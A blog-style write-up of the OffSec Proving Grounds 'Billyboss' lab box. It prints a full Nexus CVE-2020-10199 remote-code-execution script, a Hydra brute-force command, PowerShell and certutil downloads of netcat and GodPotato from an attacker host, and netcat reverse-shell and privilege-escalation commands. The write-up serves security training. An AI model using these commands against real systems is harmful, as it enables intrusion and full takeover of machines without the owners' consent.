Proving Grounds Practice — Billyboss

Dpsypher
11 min readDec 4, 2023

--

This is an intermediate box on Offsec’s PG Practice but the community has rated it ‘Very Hard’.

https://portal.offsec.com/labs/practice

Start with a Nmap scan:

sudo nmap -Pn -n $IP -sC -sV -p- --open

I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports only.

└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open             
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-28 13:33 EDT
Nmap scan report for 192.168.237.61
Host is up (0.085s latency).
Not shown: 65313 closed tcp ports (reset), 209 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-cors: HEAD GET POST PUT DELETE TRACE OPTIONS CONNECT PATCH
|_http-server-header: Microsoft-IIS/10.0
|_http-title: BaGet
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
8081/tcp open http Jetty 9.4.18.v20190429
| http-robots.txt: 2 disallowed entries
|_/repository/ /service/
|_http-server-header: Nexus/3.21.0-05 (OSS)
|_http-title: Nexus Repository Manager
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2023-09-28T17:36:57
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

When the TCP scan finishes, immediately run a UDP scan.

sudo nmap -Pn -n $IP -sU --top-ports=100

Scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise.

Returning to our TCP scan, we see port 21 (FTP) open and a confirmation that this is a Windows machine.

Nothing useful

Going back over this I realize that I didn’t try to securely connect with SSL. If that had been the enumeration path, I would have initially missed it.

There are two different types of web servers, one on 80 and the other on 8081, both have some solid version information. Version information allows us to research known exploits via Google and seachsploit. The IIS server on port 80 returns a medley of dangerous HTTP verbs (POST,PUT,PATCH,DELETE). That could be useful. I am going to browse and take a look.

Oooh I ❤ seeing the word upload

This looks vulnerable! Google, what’s BaGet?

Before we dive into that, I’ll begin a Gobuster scan to see what directories we can uncover. It errors immediately, so I add — exclude-length 2166.

sudo gobuster dir -w '/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://$IP:80 -t 42 -b 400,403,404 --exclude-length 2166

I have chosen 42 threads with -t 42 and to ignore codes that will not be useful to me now with -b 400, 403, 404.

It is tempting to stop our enumeration and focus on this likely path to initial access, but we must restrain ourselves and stick to a routine. It’s not exploit time.

With that in mind, we return to Nmap to look at the SMB ports (139,445). Enum4linux provides nothing. Smbclient cannot connect anonymously.

A note on ‘unknown’ ports like 5040 in this case.

It is extremely important to poke at everything you can in an attempt to provoke some functionality. This means if you or Nmap do not know what a port does, it is best practice to dig deeper. I start with Google, then connect with netcat as well as run a slower Nmap using the -T0 argument.

Nobody’s home
Still nothing

An internet search reveals it to be “a local ‘scratch’ port, used for emails, news clients, and web”. Keeping that in mind we move on.

I generally ignore RPC ports because Enum4linux usually handles this well but occasionally if I run out of ideas, I’ll check with rpcclient. In this case it yields nothing.

Finally there is the Jetty web server on port 8081. I browse to it.

Nmap already gave us specific version information, now we are gifted with many other key words to plug into search engines on the hunt for public exploits. I check the ‘sign in’ in functionality.

Credentials are not admin:admin

Press all the buttons on a new app. We are in explore mode.

To conclude initial enumeration, we will circle back to our Nmap UDP scan and Gobuster scan.

I don’t see anything valuable.
Also not useful but we had to check.

It is best practice to also run an additional Gobuster scan on the Jetty web server port 8081. Let it run while we move on to vulnerability discovery. We can return to it on a second look through if we need to.

What are all of the search terms we have uncovered? What should we plug searchsploit? How about into Google followed by the words “exploit” or “exploit github”?

I make a list and search with a key string:

BaGet ---------------------> Baget
Microsoft IIS httpd 10.0 --> IIS 10.0
Jetty 9.4.18.v20190429 ----> Jetty 9
Nexus Repository Manager --> Nexus Repository
Nexus/3.21.0-05 (OSS) -----> Nexus 3
Sonatype ------------------> Sonatype

These queries yield good results:

RCE, but authenticated.

If we can find or manufacture some credentials we are likely in.

I use the -m argument to to mirror the python script to my working directory.

Let’s take a quick peek at it.

# Exploit Title: Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
# Exploit Author: 1F98D
# Original Author: Alvaro Muñoz
# Date: 27 May 2020
# Vendor Hompage: https://www.sonatype.com/
# CVE: CVE-2020-10199
# Tested on: Windows 10 x64
# References:
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
# https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
#
# Nexus Repository Manager 3 versions 3.21.1 and below are vulnerable
# to Java EL injection which allows a low privilege user to remotely
# execute code on the target server.
#
#!/usr/bin/python3

import sys
import base64
import requests

URL='http://192.168.1.1:8081'
CMD='cmd.exe /c calc.exe'
USERNAME='admin'
PASSWORD='password'

s = requests.Session()
print('Logging in')
body = {
'username': base64.b64encode(USERNAME.encode('utf-8')).decode('utf-8'),
'password': base64.b64encode(PASSWORD.encode('utf-8')).decode('utf-8')
}
r = s.post(URL + '/service/rapture/session',data=body)
if r.status_code != 204:
print('Login unsuccessful')
print(r.status_code)
sys.exit(1)
print('Logged in successfully')

body = {
'name': 'internal',
'online': True,
'storage': {
'blobStoreName': 'default',
'strictContentTypeValidation': True
},
'group': {
'memberNames': [
'$\\A{\'\'.getClass().forName(\'java.lang.Runtime\').getMethods()[6].invoke(null).exec(\''+CMD+'\')}"'
]
},
}
r = s.post(URL + '/service/rest/beta/repositories/go/group', json=body)
if 'java.lang.ProcessImpl' in r.text:
print('Command executed')
sys.exit(0)
else:
print('Error executing command, the following was returned by Nexus')
print(r.text)

Looks rather straight forward. As long as we can get credentials the script will login and execute whatever we have in the CMD variable defined in line 23.

Replace these variables.

Before we tailor the script, let’s see about those credentials.

I always try admin:admin first to get a view of the the error message. Those creds actually work sometimes.

Not this time.

Next I do a Google search for default passwords.

Sources agree that it is admin:admin123 but that doesn’t work. Next I check my own Kali password repository.

:~D

It returns two specific hits, one we tried already the other is nexus:nexus. This works!

What luck!

If that had not worked, we would have likely had to use Hydra. I like Hydra but it can be a cumbersome tool to work with especially here where we have to choose BOTH good name and password lists. I only feel comfortable using Hydra when I have at least one of those variables locked down. It’s interesting though so I’ll demonstrate how it could be done if we didn’t get a direct hit with our grep command.

First capture the failure in Burp Suite. This is where I entered admin:admin earlier.

We need the /service/rapture/session string

I was fishing for the POST address as this is an important element of the Hydra syntax when I noticed the username and password were altered. It looked a little bit like base64 and a little bit like URL encoding so I tried this. It is the word admin with base64 directions.

I had to research how to do that. Hydra can accommodate this. I’m not going to dig deeply onto Hydra here I just want to point out this one feature because I found it novel. To get Hydra to base64 each item in a list, add a 64 after the USER and PASS variables. (^USER64^ and ^PASS64^)

The command is:

hydra -L usernames.txt -P passwords.txt $IP -s 8081 http-post-form '/service/rapture/session:username=^USER64^&password=^PASS64^:Forbidden'
Just to show that it works in practice

Back to our task at hand. We now have credentials. Let’s plug them into our python script and then figure out the best command to run to get a reverse shell.

What goes here…

This is a windows machine. We have some options. We could use a base64 encoded command that does not require a file to be retrieved from my machine but I shy away from that because it provides a fragile shell. Instead I’m to standup a web server, host netcat, then call it from the victim machine and executing it. This way has a lot of moving pieces but they are easy to work with and we get insight into which parts of the process work and fail (if they fail).

First the we set up a server on Kali:

Paste this command in the CMD variable of our python script:

CMD='powershell iwr http://192.168.45.154/nc64.exe -outfile nc64.exe'

Run the script.

Check your python web server. The file was retrieved. This confirms command execution.

Netcat is on the box but we don’t know where. We will try to execute it from the current directory. Change the CMD variable again, save and run it again.

CMD='.\nc64.exe 192.168.45.154 135 -e cmd.exe'

We get an error.

It looks like it is nested in a lot of functions. Let’s try to escape them. Two backslashes also fails but four succeeds.

I like to know my privileges right away. We find SeImpersonatePrivilege which will likely lead to escalation to NT AUTHORITY/SYSTEM but I want to keep looking around.

These are some real winners!

I go straight for the users directory.

Regular users don’t generally clear their history, so I like to check all the users text files at once with one command. This is a good way to search a lot of directories for other files as well, like KeePass password databases (*.kdbx).

dir /s *.txt

Scroll up to find what we are looking for.

Were they up to?
Definitely something with ‘set-executionpolicy unrestricted’.

Its good practice to follow in their footsteps as it could reveal something.

We find the local flag but no build script. Let’s step into powershell and see if we can find it.

powershell -executionpolicy bypass

Get-ChildItem -Path C:\ -Include *build.ps1* -File -Recurse -ErrorAction SilentlyContinue

I don’t find anything but those are good search commands to have in your wheelhouse. We need to know the environment we are in. I like to return to cmd because I am more comfortable in it. Enter ‘Exit’ to leave powershell and then ‘systeminfo’.

The details that catch my eye are OS Name/Version, System Type, and Hotfixes. Hotfixes can be researched to establish when the system was last updated which is useful for hunting public exploits. What I really want however is the .NET version because we are going to pursue escalation via SeImpersonatePrivilege using a newer potato attack called GodPotato.

Once we find the .NET version, it seems straight forward.

This will give us the .NET version:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"

Super, so now we know the GodPotato version we need. Let’s get it on the victim machine from our python web server.

certutil -split -f -urlcache http://192.168.45.154/GodPotato-NET4.exe

Test it.

.\GodPotato-NET4.exe -cmd "cmd /c whoami"
Looks good!

Replace whoami command with a reverse shell. We already have netcat on the machine so I’ll set up a new listener on port 139. Then I’ll call it from our original landing directory to send a cmd shell to my tun0 IP address and port 139.

.\GodPotato-NET4.exe -cmd "C:\Users\nathan\Nexus\nexus-3.21.0-05\nc64.exe 192.168.45.154 139 -e cmd.exe"

Check the New listener.

The whoami command wiffs but we have access and a flag.

Thanks for reading!!!

Also thanks everyone who helped me learn this, specifically OxBEN who I learned the base64 Hydra section from.

--

--

Dpsypher

Google IT Support/CompTIA A+, CompTIA Security+, IBM Security Analyst, AWS Cloud Practitioner, CCNA, CEH: Master, OSCP (93% in class, practicing for test)